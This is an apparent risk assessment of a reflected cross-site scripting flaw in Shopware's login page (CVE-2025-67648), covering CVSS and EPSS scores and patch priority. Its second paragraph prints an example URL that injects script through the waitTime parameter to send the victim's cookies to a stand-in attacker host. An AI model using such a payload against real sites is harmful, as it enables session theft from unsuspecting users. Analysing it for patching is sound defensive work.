Shopware CVE-2025-67648

The CVSS 3.1 score of 7.1 (High) reflects network-based attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), but mandatory user interaction (UI:R), with high integrity impact (I:H) and low confidentiality impact (C:L). However, the real-world risk is considerably lower than the CVSS suggests: the EPSS score of 0.04% places this in the 11th percentile, indicating minimal observed exploitation activity. The requirement for user interaction (clicking a malicious link) and the scope being unchanged (S:U) further limits practical exploit scenarios. While patches are available and a GitHub security advisory exists, there is no evidence of proof-of-concept code in public repositories or inclusion in CISA KEV, suggesting this is not being actively targeted. This represents a moderate priority for patching—important for internet-facing e-commerce platforms but not requiring emergency response.

An attacker crafts a malicious URL to the Shopware login page with JavaScript code embedded in the waitTime parameter, such as '/account/login?waitTime=<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'. When a legitimate user clicks this link (distributed via phishing email or compromised website), the malicious script executes in their browser context, potentially stealing session cookies or authentication tokens. Given the low attack complexity (AC:L) and network accessibility (AV:N), exploitation is straightforward once social engineering succeeds in convincing users to click the crafted link.